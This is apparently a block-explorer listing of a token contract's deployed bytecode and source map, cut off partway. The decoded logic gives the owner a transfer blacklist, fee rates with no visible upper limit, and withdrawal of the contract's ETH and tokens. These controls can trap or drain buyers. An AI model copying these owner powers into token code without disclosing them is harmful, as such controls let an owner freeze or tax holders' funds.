01b03165f9081526001602052604090205490565b348015610443575f80fd5b50610277610849565b348015610457575f80fd5b50610277610466366004611316565b6108ba565b348015610476575f80fd5b505f546001600160a01b0316610240565b348015610492575f80fd5b5061028d610951565b3480156104a6575f80fd5b5061020c6104b53660046113e0565b610960565b3480156104c5575f80fd5b506102c9600c5481565b3480156104da575f80fd5b506102c960145481565b3480156104ef575f80fd5b506102776104fe3660046112e7565b61096c565b34801561050e575f80fd5b506102c960125481565b348015610523575f80fd5b5061027761053236600461147f565b6109cb565b348015610542575f80fd5b506102c960115481565b348015610557575f80fd5b506102c96105663660046114b3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561059b575f80fd5b50600354610240906001600160a01b031681565b3480156105ba575f80fd5b506102776105c93660046112e7565b610a64565b3480156105d9575f80fd5b506102776105e836600461145f565b610b27565b5f546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610616906114ea565b60405180910390fd5b5f5b8281101561068d578160075f86868581811061063f5761063f61150a565b905060200201602081019061065491906112e7565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061068581611532565b915050610621565b50505050565b6060600480546106a29061154a565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce9061154a565b80156107195780601f106106f057610100808354040283529160200191610719565b820191905f5260205f20905b8154815290600101906020018083116106fc57829003601f168201915b5050505050905090565b5f61072f338484610b5b565b5060015b92915050565b5f610745848484610bbc565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f19146107c1576001600160a01b0384165f90815260026020908152604080832033845290915290205461079d908390611582565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146107f45760405162461bcd60e51b8152600401610616906114ea565b6006546108059060ff16600a611675565b61080f9082611683565b600c5550565b5f546001600160a01b0316331461083e5760405162461bcd60e51b8152600401610616906114ea565b601391909155601455565b5f546001600160a01b031633146108725760405162461bcd60e51b8152600401610616906114ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108e35760405162461bcd60e51b8152600401610616906114ea565b5f5b8281101561068d578160085f8686858181106109035761090361150a565b905060200201602081019061091891906112e7565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061094981611532565b9150506108e5565b6060600580546106a29061154a565b5f61072f338484610bbc565b5f546001600160a01b031633146109955760405162461bcd60e51b8152600401610616906114ea565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156109c7573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146109f45760405162461bcd60e51b8152600401610616906114ea565b60405163a9059cbb60e01b81526001600160a01b0382811660048301526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610a40573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068d919061169a565b5f546001600160a01b03163314610a8d5760405162461bcd60e51b8152600401610616906114ea565b6001600160a01b038116610ace5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610616565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610b505760405162461bcd60e51b8152600401610616906114ea565b601191909155601255565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383165f9081526008602052604090205460ff1615610c105760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401610616565b6001600160a01b0383165f9081526001602052604090205481811015610c6b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610616565b6001600160a01b0384165f9081526007602052604090205460ff16158015610cab57506001600160a01b0383165f9081526007602052604090205460ff16155b15610cda575f612710610cc08361270f611683565b610cca91906116c9565b905080831115610cd8578092505b505b6001600160a01b0384165f908152600f6020526040812054819060ff1680610d1957506001600160a01b0385165f908152600f602052604090205460ff165b15610e3d576001600160a01b0386165f9081526007602052604090205460ff16158015610d5e57506001600160a01b0385165f9081526007602052604090205460ff16155b15610e19576001600160a01b0385165f908152600f602052604090205460ff1615610e145760105460ff16610e1457305f908152600160205260409020548015610e12575f601454601354601254601154610db991906116dc565b610dc391906116dc565b610dcd91906116dc565b90505f611388610ddd8389611683565b610de791906116c9565b905082811115610df45750815b610dfe8183610e52565b600a54610e0c9060016116dc565b600a5550505b505b600191505b6001600160a01b0385165f908152600f602052604090205460ff1615610e3d575060015b610e4a8686868585611166565b505050505050565b6010805460ff19166001179055610e6981806116dc565b90505f601454601254610e7c91906116dc565b90505f82610e8a8386611683565b610e9491906116c9565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f81518110610ecc57610ecc61150a565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f23573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4791906116ef565b81600181518110610f5a57610f5a61150a565b60200260200101906001600160a01b031690816001600160a01b0316815250505f81516007600a54610f8c919061170a565b14610f975730610fa4565b6009546001600160a01b03165b600d549091506001600160a01b031663791ac947610fc28589611582565b5f8585426040518663ffffffff1660e01b8152600401610fe695949392919061171d565b5f604051808303815f87803b158015610ffd575f80fd5b505af115801561100f573d5f803e3d5ffd5b50505050838561101f9190611582565b9450478015611153575f8660135460115461103a91906116dc565b6110449084611683565b61104f906002611683565b61105991906116c9565b6003549091506001600160a01b03166108fc6110766002846116c9565b6040518115909202915f818181858888f1935050505015801561109b573d5f803e3d5ffd5b508415611151575f876110ae8885611683565b6110b891906116c9565b600d5460035460405163f305d71960e01b8152306004820152602481018a90525f6044820181905260648201526001600160a01b0391821660848201524260a4820152929350169063f305d71990839060c40160606040518083038185885af1158015611127573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061114c919061178c565b505050505b505b50506010805460ff191690555050505050565b6001600160a01b0385165f90815260016020526040902054611189908490611582565b6001600160a01b0386165f90815260016020526040812091909155821561124b575f82156111c8576014546013546111c191906116dc565b9050611211565b600c54856111ea886001600160a01b03165f9081526001602052604090205490565b6111f491906116dc565b11156111fe575f80fd5b60125460115461120e91906116dc565b90505b5f61271061121f8388611683565b61122991906116c9565b905080156112485761123b81846116dc565b925061124888308361125a565b50505b610e4a868661125a8488611582565b6001600160a01b0382165f9081526001602052604090205461127d9082906116dc565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610baf9085815260200190565b6001600160a01b03811681146112e4575f80fd5b50565b5f602082840312156112f7575f80fd5b8135611302816112d0565b9392505050565b80151581146112e4575f80fd5b5f805f60408486031215611328575f80fd5b833567ffffffffffffffff8082111561133f575f80fd5b818601915086601f830112611352575f80fd5b813581811115611360575f80fd5b8760208260051b8501011115611374575f80fd5b6020928301955093505084013561138a81611309565b809150509250925092565b5f6020808352835180828501525f5b818110156113c0578581018301518582016040015282016113a4565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156113f1575f80fd5b82356113fc816112d0565b946020939093013593505050565b5f805f6060848603121561141c575f80fd5b8335611427816112d0565b92506020840135611437816112d0565b929592945050506040919091013590565b5f60208284031215611458575f80fd5b5035919050565b5f8060408385031215611470575f80fd5b50508035926020909101359150565b5f805f60608486031215611491575f80fd5b833561149c816112d0565b925060208401359150604084013561138a816112d0565b5f80604083850312156114c4575f80fd5b82356114cf816112d0565b915060208301356114df816112d0565b809150509250929050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016115435761154361151e565b5060010190565b600181811c9082168061155e57607f821691505b60208210810361157c57634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156107335761073361151e565b600181815b808511156115cf57815f19048211156115b5576115b561151e565b808516156115c257918102915b93841c939080029061159a565b509250929050565b5f826115e557506001610733565b816115f157505f610733565b816001811461160757600281146116115761162d565b6001915050610733565b60ff8411156116225761162261151e565b50506001821b610733565b5060208310610133831016604e8410600b8410161715611650575081810a610733565b61165a8383611595565b805f190482111561166d5761166d61151e565b029392505050565b5f61130260ff8416836115d7565b80820281158282048414176107335761073361151e565b5f602082840312156116aa575f80fd5b815161130281611309565b634e487b7160e01b5f52601260045260245ffd5b5f826116d7576116d76116b5565b500490565b808201808211156107335761073361151e565b5f602082840312156116ff575f80fd5b8151611302816112d0565b5f82611718576117186116b5565b500690565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561176b5784516001600160a01b031683529383019391830191600101611746565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561179e575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212201d427fd4600560e3eeace0adfa0f9a8f16c54ebb63b228424bb54e5c7588cd7464736f6c63430008140033
Deployed Bytecode Sourcemap
11531:63:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3253:45;;;;;;;;;;-1:-1:-1;3253:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;3253:45:0;;;;;;;;3600:81;;;;;;;;;;-1:-1:-1;3600:81:0;;;;-1:-1:-1;;;;;3600:81:0;;;;;;-1:-1:-1;;;;;758:32:1;;;740:51;;728:2;713:18;3600:81:0;594:203:1;10499:220:0;;;;;;;;;;-1:-1:-1;10499:220:0;;;;;:::i;:::-;;:::i;:::-;;4962:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;5720:159::-;;;;;;;;;;-1:-1:-1;5720:159:0;;;;;:::i;:::-;;:::i;5166:95::-;;;;;;;;;;-1:-1:-1;5246:7:0;;5166:95;;;2699:25:1;;;2687:2;2672:18;5166:95:0;2553:177:1;3563:30:0;;;;;;;;;;-1:-1:-1;3563:30:0;;;;-1:-1:-1;;;;;3563:30:0;;;5889:336;;;;;;;;;;-1:-1:-1;5889:336:0;;;;;:::i;:::-;;:::i;10369:122::-;;;;;;;;;;-1:-1:-1;10369:122:0;;;;;:::i;:::-;;:::i;5064:94::-;;;;;;;;;;-1:-1:-1;5141:9:0;;5064:94;;5141:9;;;;3750:36:1;;3738:2;3723:18;5064:94:0;3608:184:1;3895:33:0;;;;;;;;;;;;;;;;3688:45;;;;;;;;;;-1:-1:-1;3688:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3971:24;;;;;;;;;;-1:-1:-1;3971:24:0;;;;-1:-1:-1;;;;;3971:24:0;;;3305:42;;;;;;;;;;-1:-1:-1;3305:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11351:138;;;;;;;;;;-1:-1:-1;11351:138:0;;;;;:::i;:::-;;:::i;5269:119::-;;;;;;;;;;-1:-1:-1;5269:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5362:18:0;5335:7;5362:18;;;:9;:18;;;;;;;5269:119;2410:148;;;;;;;;;;;;;:::i;10725:211::-;;;;;;;;;;-1:-1:-1;10725:211:0;;;;;:::i;:::-;;:::i;2224:79::-;;;;;;;;;;-1:-1:-1;2262:7:0;2289:6;-1:-1:-1;;;;;2289:6:0;2224:79;;4856:98;;;;;;;;;;;;;:::i;5396:165::-;;;;;;;;;;-1:-1:-1;5396:165:0;;;;;:::i;:::-;;:::i;3492:62::-;;;;;;;;;;;;;;;;3935:29;;;;;;;;;;;;;;;;10944:115;;;;;;;;;;-1:-1:-1;10944:115:0;;;;;:::i;:::-;;:::i;3860:28::-;;;;;;;;;;;;;;;;11067:135;;;;;;;;;;-1:-1:-1;11067:135:0;;;;;:::i;:::-;;:::i;3821:32::-;;;;;;;;;;;;;;;;5569:143;;;;;;;;;;-1:-1:-1;5569:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5677:18:0;;;5650:7;5677:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5569:143;2968:80;;;;;;;;;;-1:-1:-1;2968:80:0;;;;-1:-1:-1;;;;;2968:80:0;;;2566:214;;;;;;;;;;-1:-1:-1;2566:214:0;;;;;:::i;:::-;;:::i;11210:135::-;;;;;;;;;;-1:-1:-1;11210:135:0;;;;;:::i;:::-;;:::i;10499:220::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;;;;;;;;;10605:9:::1;10601:111;10620:19:::0;;::::1;10601:111;;;10690:10;10661:13;:26;10675:8;;10684:1;10675:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10661:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10661:26:0;:39;;-1:-1:-1;;10661:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10641:3;::::1;::::0;::::1;:::i;:::-;;;;10601:111;;;;10499:220:::0;;;:::o;4962:94::-;5010:13;5043:5;5036:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4962:94;:::o;5720:159::-;5795:4;5812:37;5821:10;5833:7;5842:6;5812:8;:37::i;:::-;-1:-1:-1;5867:4:0;5720:159;;;;;:::o;5889:336::-;5987:4;6004:36;6014:6;6022:9;6033:6;6004:9;:36::i;:::-;-1:-1:-1;;;;;6055:19:0;;3810:1;6055:19;;;:11;:19;;;;;;;;6075:10;6055:31;;;;;;;;-1:-1:-1;;6055:38:0;6051:145;;-1:-1:-1;;;;;6144:19:0;;;;;;:11;:19;;;;;;;;6164:10;6144:31;;;;;;;;:40;;6178:6;;6144:40;:::i;:::-;-1:-1:-1;;;;;6110:19:0;;;;;;:11;:19;;;;;;;;6130:10;6110:31;;;;;;;:74;6051:145;-1:-1:-1;6213:4:0;5889:336;;;;;:::o;10369:122::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;10474:9:::1;::::0;10468:15:::1;::::0;10474:9:::1;;10468:2;:15;:::i;:::-;10460:23;::::0;:5;:23:::1;:::i;:::-;10442:15;:41:::0;-1:-1:-1;10369:122:0:o;11351:138::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;11432:12:::1;:22:::0;;;;11465:10:::1;:16:::0;11351:138::o;2410:148::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;2517:1:::1;2501:6:::0;;2480:40:::1;::::0;-1:-1:-1;;;;;2501:6:0;;::::1;::::0;2480:40:::1;::::0;2517:1;;2480:40:::1;2548:1;2531:19:::0;;-1:-1:-1;;;;;;2531:19:0::1;::::0;;2410:148::o;10725:211::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;10827:9:::1;10823:106;10842:19:::0;;::::1;10823:106;;;10909:8;10883:10;:23;10894:8;;10903:1;10894:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10883:23:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10883:23:0;:34;;-1:-1:-1;;10883:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10863:3;::::1;::::0;::::1;:::i;:::-;;;;10823:106;;4856:98:::0;4906:13;4939:7;4932:14;;;;;:::i;5396:165::-;5474:4;5491:40;5501:10;5513:9;5524:6;5491:9;:40::i;10944:115::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;11008:43:::1;::::0;-1:-1:-1;;;;;11008:20:0;::::1;::::0;11029:21:::1;11008:43:::0;::::1;;;::::0;::::1;::::0;;;11029:21;11008:20;:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10944:115:::0;:::o;11067:135::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;11160:34:::1;::::0;-1:-1:-1;;;11160:34:0;;-1:-1:-1;;;;;7908:32:1;;;11160:34:0::1;::::0;::::1;7890:51:1::0;7957:18;;;7950:34;;;11160:22:0;::::1;::::0;::::1;::::0;7863:18:1;;11160:34:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2566:214::-:0;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2655:22:0;::::1;2647:43;;;::::0;-1:-1:-1;;;2647:43:0;;8447:2:1;2647:43:0::1;::::0;::::1;8429:21:1::0;8486:1;8466:18;;;8459:29;-1:-1:-1;;;8504:18:1;;;8497:38;8552:18;;2647:43:0::1;8245:331:1::0;2647:43:0::1;2727:6;::::0;;2706:38:::1;::::0;-1:-1:-1;;;;;2706:38:0;;::::1;::::0;2727:6;::::1;::::0;2706:38:::1;::::0;::::1;2755:6;:17:::0;;-1:-1:-1;;;;;;2755:17:0::1;-1:-1:-1::0;;;;;2755:17:0;;;::::1;::::0;;;::::1;::::0;;2566:214::o;11210:135::-;2351:6;;-1:-1:-1;;;;;2351:6:0;2361:10;2351:20;2343:39;;;;-1:-1:-1;;;2343:39:0;;;;;;;:::i;:::-;11290:11:::1;:21:::0;;;;11322:9:::1;:15:::0;11210:135::o;6233:177::-;-1:-1:-1;;;;;6318:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6370:32;;2699:25:1;;;6370:32:0;;2672:18:1;6370:32:0;;;;;;;;6233:177;;;:::o;6418:1669::-;-1:-1:-1;;;;;6541:16:0;;;;;;:10;:16;;;;;;;;6540:17;6532:39;;;;-1:-1:-1;;;6532:39:0;;8783:2:1;6532:39:0;;;8765:21:1;8822:1;8802:18;;;8795:29;-1:-1:-1;;;8840:18:1;;;8833:39;8889:18;;6532:39:0;8581:332:1;6532:39:0;-1:-1:-1;;;;;5362:18:0;;6584:15;5362:18;;;:9;:18;;;;;;6636:17;;;;6628:46;;;;-1:-1:-1;;;6628:46:0;;9120:2:1;6628:46:0;;;9102:21:1;9159:2;9139:18;;;9132:30;-1:-1:-1;;;9178:18:1;;;9171:46;9234:18;;6628:46:0;8918:340:1;6628:46:0;-1:-1:-1;;;;;6692:19:0;;;;;;:13;:19;;;;;;;;6691:20;:42;;;;-1:-1:-1;;;;;;6716:17:0;;;;;;:13;:17;;;;;;;;6715:18;6691:42;6687:220;;;6750:21;6791:5;6774:14;:7;6784:4;6774:14;:::i;:::-;:22;;;;:::i;:::-;6750:46;;6824:13;6815:6;:22;6811:85;;;6867:13;6858:22;;6811:85;6735:172;6687:220;-1:-1:-1;;;;;6966:19:0;;6917:12;6966:19;;;:13;:19;;;;;;6917:12;;6966:19;;;:40;;-1:-1:-1;;;;;;6989:17:0;;;;;;:13;:17;;;;;;;;6966:40;6962:1056;;;-1:-1:-1;;;;;7028:19:0;;;;;;:13;:19;;;;;;;;7027:20;:42;;;;-1:-1:-1;;;;;;7052:17:0;;;;;;:13;:17;;;;;;;;7051:18;7027:42;7023:899;;;-1:-1:-1;;;;;7094:17:0;;;;;;:13;:17;;;;;;;;7090:784;;;7141:6;;;;7136:719;;7225:4;7176:28;5362:18;;;:9;:18;;;;;;7262:24;;7258:574;;7319:15;7379:10;;7364:12;;7351:9;;7337:11;;:23;;;;:::i;:::-;:39;;;;:::i;:::-;:52;;;;:::i;:::-;7319:70;-1:-1:-1;7421:27:0;7470:4;7451:16;7319:70;7451:6;:16;:::i;:::-;:23;;;;:::i;:::-;7421:53;;7531:20;7509:19;:42;7505:157;;;-1:-1:-1;7610:20:0;7505:157;7692:46;7709:19;7730:7;7692:16;:46::i;:::-;7786:16;;:18;;7803:1;7786:18;:::i;:::-;7769:16;:35;-1:-1:-1;;7258:574:0;7149:706;7136:719;7902:4;7892:14;;7023:899;-1:-1:-1;;;;;7940:17:0;;;;;;:13;:17;;;;;;;;7936:71;;;-1:-1:-1;7987:4:0;7936:71;8030:49;8045:4;8051:2;8055:6;8063:7;8072:6;8030:14;:49::i;:::-;6521:1566;;;6418:1669;;;:::o;9041:1101::-;4040:6;:13;;-1:-1:-1;;4040:13:0;4049:4;4040:13;;;9136:18:::1;9147:7:::0;;9136:18:::1;:::i;:::-;;;9165:13;9191:10;;9181:9;;:20;;;;:::i;:::-;9165:36:::0;-1:-1:-1;9212:16:0::1;9253:7:::0;9231:19:::1;9165:36:::0;9231:11;:19:::1;:::i;:::-;:29;;;;:::i;:::-;9295:16;::::0;;9309:1:::1;9295:16:::0;;;;;::::1;::::0;;9212:48;;-1:-1:-1;9271:21:0::1;::::0;9295:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9295:16:0::1;9271:40;;9340:4;9322;9327:1;9322:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9322:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9366:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;9366:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;9322:7;;9366:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9356:4;9361:1;9356:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1::0;;;;;9356:28:0::1;;;-1:-1:-1::0;;;;;9356:28:0::1;;;::::0;::::1;9395:24;9440:4;:11;9437:1;9420:16;;:18;;;;:::i;:::-;:31;:58;;9473:4;9420:58;;;9452:12;::::0;-1:-1:-1;;;;;9452:12:0::1;9420:58;9489:11;::::0;9395:83;;-1:-1:-1;;;;;;9489:11:0::1;:62;9552:22;9566:8:::0;9552:11;:22:::1;:::i;:::-;9576:1;9579:4;9584:16;9601:15;9489:128;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9639:5;9628:16;;;;;:::i;:::-;::::0;-1:-1:-1;9676:21:0::1;9711:12:::0;;9708:417:::1;;9748:18;9817:7;9797:12;;9783:11;;:26;;;;:::i;:::-;9769:41;::::0;:10;:41:::1;:::i;:::-;:45;::::0;9813:1:::1;9769:45;:::i;:::-;:55;;;;:::i;:::-;9846:11;::::0;9748:76;;-1:-1:-1;;;;;;9846:11:0::1;9838:43;9868:12;9879:1;9748:76:::0;9868:12:::1;:::i;:::-;9838:43;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;9900:12:0;;9896:218:::1;;9933:13;9970:7:::0;9949:18:::1;9962:5:::0;9949:10;:18:::1;:::i;:::-;:28;;;;:::i;:::-;9996:11;::::0;10069::::1;::::0;9996:102:::1;::::0;-1:-1:-1;;;9996:102:0;;10046:4:::1;9996:102;::::0;::::1;11481:34:1::0;11531:18;;;11524:34;;;9996:11:0::1;11574:18:1::0;;;11567:34;;;11617:18;;;11610:34;-1:-1:-1;;;;;10069:11:0;;::::1;11660:19:1::0;;;11653:44;10082:15:0::1;11713:19:1::0;;;11706:35;9933:44:0;;-1:-1:-1;9996:11:0::1;::::0;:27:::1;::::0;9933:44;;11415:19:1;;9996:102:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9914:200;9896:218;9734:391;9708:417;-1:-1:-1::0;;4076:6:0;:14;;-1:-1:-1;;4076:14:0;;;-1:-1:-1;;;;;9041:1101:0:o;8095:938::-;-1:-1:-1;;;;;8289:17:0;;;;;;:9;:17;;;;;;:27;;8309:7;;8289:27;:::i;:::-;-1:-1:-1;;;;;8269:17:0;;;;;;:9;:17;;;;;:47;;;;8355:605;;;;8383:15;8417:6;8413:232;;;8469:10;;8454:12;;:25;;;;:::i;:::-;8444:35;;8413:232;;;8561:15;;8550:7;8529:20;8539:9;-1:-1:-1;;;;;5362:18:0;5335:7;5362:18;;;:9;:18;;;;;;;5269:119;8529:20;:28;;;;:::i;:::-;:47;;8521:56;;;;;;8620:9;;8606:11;;:23;;;;:::i;:::-;8596:33;;8413:232;8659:18;8700:5;8680:17;8690:7;8680;:17;:::i;:::-;:25;;;;:::i;:::-;8659:46;-1:-1:-1;8724:14:0;;8720:227;;8759:23;8772:10;8759:23;;:::i;:::-;;;8801:130;8837:6;8874:4;8902:10;8801:13;:130::i;:::-;8368:592;;8355:605;8970:53;8984:6;8992:9;9003:19;9013:9;9003:7;:19;:::i;:::-;-1:-1:-1;;;;;10287:13:0;;;;;;:9;:13;;;;;;:23;;10303:7;;10287:23;:::i;:::-;-1:-1:-1;;;;;10271:13:0;;;;;;;:9;:13;;;;;;;:39;;;;10326:29;;;;;;;;;;10347:7;2699:25:1;;2687:2;2672:18;;2553:177;14:131;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;802:118::-;888:5;881:13;874:21;867:5;864:32;854:60;;910:1;907;900:12;925:750;1017:6;1025;1033;1086:2;1074:9;1065:7;1061:23;1057:32;1054:52;;;1102:1;1099;1092:12;1054:52;1142:9;1129:23;1171:18;1212:2;1204:6;1201:14;1198:34;;;1228:1;1225;1218:12;1198:34;1266:6;1255:9;1251:22;1241:32;;1311:7;1304:4;1300:2;1296:13;1292:27;1282:55;;1333:1;1330;1323:12;1282:55;1373:2;1360:16;1399:2;1391:6;1388:14;1385:34;;;1415:1;1412;1405:12;1385:34;1470:7;1463:4;1453:6;1450:1;1446:14;1442:2;1438:23;1434:34;1431:47;1428:67;;;1491:1;1488;1481:12;1428:67;1522:4;1514:13;;;;-1:-1:-1;1546:6:1;-1:-1:-1;;1587:20:1;;1574:34;1617:28;1574:34;1617:28;:::i;:::-;1664:5;1654:15;;;925:750;;;;;:::o;1680:548::-;1792:4;1821:2;1850;1839:9;1832:21;1882:6;1876:13;1925:6;1920:2;1909:9;1905:18;1898:34;1950:1;1960:140;1974:6;1971:1;1968:13;1960:140;;;2069:14;;;2065:23;;2059:30;2035:17;;;2054:2;2031:26;2024:66;1989:10;;1960:140;;;1964:3;2149:1;2144:2;2135:6;2124:9;2120:22;2116:31;2109:42;2219:2;2212;2208:7;2203:2;2195:6;2191:15;2187:29;2176:9;2172:45;2168:54;2160:62;;;;1680:548;;;;:::o;2233:315::-;2301:6;2309;2362:2;2350:9;2341:7;2337:23;2333:32;2330:52;;;2378:1;2375;2368:12;2330:52;2417:9;2404:23;2436:31;2461:5;2436:31;:::i;:::-;2486:5;2538:2;2523:18;;;;2510:32;;-1:-1:-1;;;2233:315:1:o;2962:456::-;3039:6;3047;3055;3108:2;3096:9;3087:7;3083:23;3079:32;3076:52;;;3124:1;3121;3114:12;3076:52;3163:9;3150:23;3182:31;3207:5;3182:31;:::i;:::-;3232:5;-1:-1:-1;3289:2:1;3274:18;;3261:32;3302:33;3261:32;3302:33;:::i;:::-;2962:456;;3354:7;;-1:-1:-1;;;3408:2:1;3393:18;;;;3380:32;;2962:456::o;3423:180::-;3482:6;3535:2;3523:9;3514:7;3510:23;3506:32;3503:52;;;3551:1;3548;3541:12;3503:52;-1:-1:-1;3574:23:1;;3423:180;-1:-1:-1;3423:180:1:o;3797:248::-;3865:6;3873;3926:2;3914:9;3905:7;3901:23;3897:32;3894:52;;;3942:1;3939;3932:12;3894:52;-1:-1:-1;;3965:23:1;;;4035:2;4020:18;;;4007:32;;-1:-1:-1;3797:248:1:o;4050:456::-;4127:6;4135;4143;4196:2;4184:9;4175:7;4171:23;4167:32;4164:52;;;4212:1;4209;4202:12;4164:52;4251:9;4238:23;4270:31;4295:5;4270:31;:::i;:::-;4320:5;-1:-1:-1;4372:2:1;4357:18;;4344:32;;-1:-1:-1;4428:2:1;4413:18;;4400:32;4441:33;4400:32;4441:33;:::i;4511:388::-;4579:6;4587;4640:2;4628:9;4619:7;4615:23;4611:32;4608:52;;;4656:1;4653;4646:12;4608:52;4695:9;4682:23;4714:31;4739:5;4714:31;:::i;:::-;4764:5;-1:-1:-1;4821:2:1;4806:18;;4793:32;4834:33;4793:32;4834:33;:::i;:::-;4886:7;4876:17;;;4511:388;;;;;:::o;4904:329::-;5106:2;5088:21;;;5145:1;5125:18;;;5118:29;-1:-1:-1;;;5178:2:1;5163:18;;5156:36;5224:2;5209:18;;4904:329::o;5238:127::-;5299:10;5294:3;52